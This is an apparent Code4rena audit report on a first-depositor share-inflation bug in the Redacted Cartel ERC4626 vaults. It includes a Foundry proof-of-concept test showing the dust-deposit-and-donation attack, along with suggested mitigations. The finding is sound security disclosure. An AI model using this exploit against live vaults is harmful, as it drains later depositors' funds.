First user of autocompounding vaults (AutoPxGlp and AutoPxGmx) can cause loss of funds for later users

[code423n4]

Lines of code

https://github.com/code-423n4/2022-11-redactedcartel/blob/03b71a8d395c02324cb9fdaf92401357da5b19d1/src/vaults/PirexERC4626.sol#L60-L78

Vulnerability details

Impact

First user of the vaults can cause loss of funds for subsequent users by throwing off the share ratios. This is due to a rounding error which has to be accounted for in erc4626 vault contracts. Consider the following scenario:

1. First user deposits 1 wei of pxGlp. This mints him 1 share in return. The ratio is 1 share : 1 glp (all in wei)
2. He then sends the contract 1e18 pxGlp (1 ether of pxGlp) without minting anything. Now, the ratio in the vault is 1 share: 1e18+1 glp
3. Second user arrives and deposits 2e18 (2 ether) of pxGlp. Due to the rounding error, the second user will be minted only 1 wei of the share token. This will let him redeem half of the assets in the vault (~1.5e18 pxGlp) since both users have equal no of tokens, even though he contributed 67% of the vault.
4. First user can now redeem his 1 share and take back ~1.5e18 pxGlp, making a profit of 0.5e18 pxGlp

Proof of Concept

function testDustAttack() public {
        _setupRewardsAndTestAccounts(1);

        // Deposit dust value
        _depositToVault(testAccounts[0], 1 wei);

        // Send 1 eth to throw off ratio
        vm.startPrank(testAccounts[0]);
        pxGlp.transfer(address(autoPxGlp), 1 ether);
        vm.stopPrank();

        // Second user (victim) approaches
        _depositToVault(testAccounts[1], 2 ether);

        // Second user tries to redeem
        vm.startPrank(testAccounts[1]);
        uint256 assetval = autoPxGlp.redeem(
            autoPxGlp.balanceOf(testAccounts[1]),
            testAccounts[1],
            testAccounts[1]
        );
        uint256 lostAmt = 2 ether - assetval;
        console.log("redeemed by user1", assetval);
        console.log("lost by user1", lostAmt);
        console.log("Percentage loss:", (lostAmt * 100) / 2 ether, "%");
    }

Tools Used

Foundry

Recommended Mitigation Steps

This can be mitigated in 2 ways:

1. If the number of shares issued is below a critical limit (~ 1000 wei of share tokens), require a minimum amount of px tokens to be deposited.
   Or,
2. Have the DAO deposit the first few tokens, and lock in that amount by losing access to those share tokens.

[c4-judge]

Picodes marked the issue as duplicate of #407

[c4-judge]

Picodes marked the issue as satisfactory

[C4-Staff]

JeeberC4 marked the issue as duplicate of #275